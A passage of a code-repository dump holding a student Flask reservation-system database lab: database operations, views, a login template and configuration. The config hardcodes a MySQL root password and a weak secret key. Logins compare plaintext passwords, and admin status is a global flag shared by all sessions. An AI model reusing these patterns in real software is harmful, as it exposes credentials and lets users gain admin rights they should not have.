'完整性错误:数据库中已存在主键相同的记录。', '详细信息:%s' % e)\n except Exception as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(3, '其他错误:%s' % e)\n return DBErrorMessage(0, '添加记录成功!')\n\n\ndef deleteRecord():\n print(request.form)\n\n table = Tables[request.form['type']]\n primaryKey = request.form['primaryKey']\n\n if table == Reservations:\n deleteNum = Reservations.query.filter(Reservations.reservationID == primaryKey).delete(False)\n db.session.commit()\n\n if deleteNum == 0:\n return DBErrorMessage(1, '没有在数据库中找到预订的编号。')\n else:\n return DBErrorMessage(0, '删除预订成功!')\n\n elif table == Customers:\n # Before deleting a customer, you should remove all reservations it reserved.\n Reservations.query.filter(Reservations.customerID == primaryKey).delete(False)\n deleteNum = Customers.query.filter(Customers.IDNumber == primaryKey).delete(False)\n db.session.commit()\n\n if deleteNum == 0:\n return DBErrorMessage(1, '没有在数据库中找到用户的ID。')\n else:\n return DBErrorMessage(0, '删除用户成功!')\n else:\n try:\n # Before deleting a flight, you should remove all reservations that reserve it.\n Reservations.query.filter(Reservations.reserveKey == primaryKey).delete(False)\n\n db.session.delete(table.query.get(primaryKey))\n db.session.commit()\n except InvalidRequestError as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(1, '没有在数据库中找到对应的记录。')\n except Exception as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(3, '其他错误:%s' % e)\n return DBErrorMessage(0, '删除记录成功!')\n\n\ndef insertCustomer():\n userID = request.form['userID']\n userName = request.form['userName']\n password = request.form['password']\n\n try:\n db.session.add(Customers(userID, userName, password))\n db.session.commit()\n except IntegrityError as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(2, '完整性错误:该用户ID已被注册!')\n except Exception as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(3, '其他错误:%s' % e)\n return DBErrorMessage(0, '注册成功!')\n\n\ndef routeQuery():\n fromCity = request.form['fromCity']\n toCity = request.form['toCity']\n\n flightsResult = Flights.query.filter(Flights.fromCity == fromCity, Flights.toCity == toCity).all()\n hotelsResult = Hotels.query.filter(Hotels.location == toCity).all()\n carsResult = Cars.query.filter(Cars.location == toCity).all()\n\n return flightsResult, hotelsResult, carsResult\n\n\ndef customerQuery():\n if config.adminLoggedIn:\n IDNumber = request.form['IDNumber']\n customerName = request.form['customerName']\n else:\n IDNumber = session.get('user_id')\n customerName = ''\n\n if IDNumber != '':\n return Reservations.query.filter(Reservations.customerID == IDNumber).all()\n elif customerName != '':\n return db.session.query(Reservations) \\\n .join(Customers) \\\n .filter(Reservations.customerID == Customers.IDNumber, Customers.customerName == customerName) \\\n .all()\n else:\n return Reservations.query.all()\n\n\ndef dropTable():\n db.drop_all()\n\n\ndef createTable():\n # dropTable()\n db.create_all()\n createTriggers()\n # result = db.engine.execute(\"Show databases\")\n # print(result.fetchall())\n\n\ncreateTable()\n" }, { "alpha_fraction": 0.7028985619544983, "alphanum_fraction": 0.70652174949646, "avg_line_length": 14.333333015441895, "blob_id": "b22d72474c8797a867f1b967b1b2d3f7df7f31e7", "content_id": "024a061c12ba48ba21e5806e494cadf79a48c820", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "permissive", "max_line_length": 41, "num_lines": 18, "path": "/createApp.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n__author__ = 'fyabc'\n\nimport os\n\nfrom flask import Flask\nfrom flask.ext.bootstrap import Bootstrap\nfrom flask.ext.login import LoginManager\n\napp = Flask(__name__)\n\napp.config.from_object('config')\n\nBootstrap(app)\n\nlm = LoginManager()\nlm.init_app(app)\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6668941974639893, "avg_line_length": 27.72549057006836, "blob_id": "296cd1a9e1dec4f7fbc40f7e42ad7c1f9a16ea6e", "content_id": "bee5ed11150be6a32f84d9b79210677b57bfb5ac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4395, "license_type": "permissive", "max_line_length": 111, "num_lines": 153, "path": "/views.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n__author__ = 'fyabc'\n\nfrom flask import render_template, request, redirect, url_for\nfrom flask.ext.login import login_user, logout_user, login_required\n\n# Local modules.\nfrom createApp import app, lm\nimport config\nfrom forms import QueryForm, LoginForm, ReserveForm, UnsubscribeForm, \\\n InsertForm, RouteQueryForm, CustomerQueryForm, SignInForm, DeleteForm\n\n# Use this import to initialize the database connection.\nfrom dbOperations import db, Customers, \\\n query, addReserve, removeReserve, insertRecord, deleteRecord, routeQuery, customerQuery, insertCustomer,\\\n Flights, Hotels, Cars, Reservations\n\n\[email protected]('/')\[email protected]('/index')\ndef mainPage():\n return render_template('index.html')\n\n\[email protected]('/query', methods=['GET', 'POST'])\n@login_required\ndef queryPage():\n results = None\n table = None\n form = QueryForm()\n\n if form.validate_on_submit():\n table, results = query()\n\n return render_template('query.html', query=form, queryResult=results, table=table,\n isAdmin=config.adminLoggedIn)\n\n\[email protected]('/reserve', methods=['GET', 'POST'])\n@login_required\ndef reservePage():\n errorCode = None\n if request.method == 'POST':\n if 'customerID' in request.form:\n errorCode = addReserve()\n else:\n errorCode = removeReserve()\n\n return render_template('reserve.html', reserveForm=ReserveForm(), unsubscribeForm=UnsubscribeForm(),\n errorCode=errorCode, isAdmin=config.adminLoggedIn)\n\n\[email protected]('/routeQuery', methods=['GET', 'POST'])\ndef routeQueryPage():\n flightsResults, hotelsResults, carsResults = None, None, None\n form = RouteQueryForm()\n\n if form.validate_on_submit():\n flightsResults, hotelsResults, carsResults = routeQuery()\n\n return render_template('routeQuery.html', routeQueryForm=form,\n flightsResults=flightsResults, hotelsResults=hotelsResults, carsResults=carsResults,\n Flights=Flights, Hotels=Hotels, Cars=Cars)\n\n\[email protected]('/customerQuery', methods=['GET', 'POST'])\n@login_required\ndef customerQueryPage():\n results = None\n form = CustomerQueryForm()\n\n if form.validate_on_submit():\n results = customerQuery()\n\n return render_template('customerQuery.html', customerQueryForm=form,\n results=results, Reservations=Reservations, isAdmin=config.adminLoggedIn)\n\n\[email protected]('/signIn', methods=['GET', 'POST'])\ndef signInPage():\n form = SignInForm()\n errorCode = None\n\n if form.validate_on_submit():\n errorCode = insertCustomer()\n\n return render_template('signIn.html', signInForm=form, errorCode=errorCode,\n isAdmin=config.adminLoggedIn)\n\n\[email protected]_loader\ndef load_user(idNumber):\n return Customers.query.get(idNumber)\n\n\[email protected]('/login', methods=['GET', 'POST'])\ndef loginPage():\n loginFailed = False\n\n form = LoginForm()\n\n if form.validate_on_submit():\n user = Customers.query.get(form.userName.data)\n if user and user.password == form.password.data:\n login_user(user, remember=False)\n if user.IDNumber == form.myUserName:\n config.adminLoggedIn = True\n else:\n loginFailed = True\n\n return render_template('login.html', loginForm=form, loginFailed=loginFailed,\n isAdmin=config.adminLoggedIn)\n\n# if login_required but not authorized, redirect to login page.\nlm.unauthorized_callback = loginPage\n\n\[email protected]('/logout')\n@login_required\ndef logoutPage():\n logout_user()\n config.adminLoggedIn = False\n\n return render_template('logout.html')\n\n\[email protected]('/insert', methods=['GET', 'POST'])\n@login_required\ndef insertPage():\n if not config.adminLoggedIn:\n return redirect(url_for('.loginPage'))\n\n errorCode = None\n if request.method == 'POST':\n errorCode = insertRecord()\n\n return render_template('insert.html', insertForm=InsertForm(), errorCode=errorCode)\n\n\[email protected]('/delete', methods=['GET', 'POST'])\n@login_required\ndef deletePage():\n if not config.adminLoggedIn:\n return redirect(url_for('.loginPage'))\n\n form = DeleteForm()\n\n errorCode = None\n if form.validate_on_submit():\n errorCode = deleteRecord()\n\n return render_template('delete.html', deleteForm=form, errorCode=errorCode)\n" }, { "alpha_fraction": 0.5160427689552307, "alphanum_fraction": 0.5347593426704407, "avg_line_length": 26.740739822387695, "blob_id": "923ad11c05e9697b68340a2834173ffb588a1a14", "content_id": "0faf28a0bd55ce017750ffcb132cfe716fa14cf8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 822, "license_type": "permissive", "max_line_length": 96, "num_lines": 27, "path": "/templates/login.html", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n{% extends \"base.html\" %}\n{% import \"bootstrap/wtf.html\" as wtf %}\n\n{% block title %}\n {{ super() }}\n{% endblock %}\n\n{% block navbar %}\n {{ super() }}\n{% endblock %}\n\n{% block content %}\n {{ super() }}\n {% if current_user.is_authenticated %}\n <h1 style=\"text-indent: 4em\">登录成功!</h1>\n {% if not isAdmin %}\n <h3 style=\"text-indent: 4em; color: yellowgreen\">您不是管理员,只能执行有限的操作。</h3>\n {% endif %}\n {% else %}\n <h1 style=\"text-indent: 4em;\">请输入账号:</h1>\n {{ wtf.quick_form(loginForm, form_type='horizontal', horizontal_columns=('lg', 2, 2)) }}\n {% endif %}\n {% if loginFailed %}\n <h3 style=\"text-indent: 4em; color: red\">登录失败,请重试!</h3>\n {% endif %}\n{% endblock %}" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.632478654384613, "avg_line_length": 19.34782600402832, "blob_id": "02eb7aafc267701f975abfbb266d8ed75ea8c14c", "content_id": "76429dd970d67cfd0b9a82b5ff445f059b890453", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 494, "license_type": "permissive", "max_line_length": 66, "num_lines": 23, "path": "/config.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n__author__ = 'fyabc'\n\nimport os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nCSRF_ENABLED = True\nSECRET_KEY = 'hard-string'\nSQLALCHEMY_DATABASE_URI = 'mysql://root:fy95102@localhost/DBLab02'\nSQLALCHEMY_TRACK_MODIFICATIONS = True\n\nTableNames = [\n ('Flights', '航班'),\n ('Hotels', '宾馆'),\n ('Cars', '出租车'),\n ('Customers', '用户'),\n ('Reservations', '预订情况'),\n]\n\n# The administrator has logged in or not.\nadminLoggedIn = False\n" } ]
9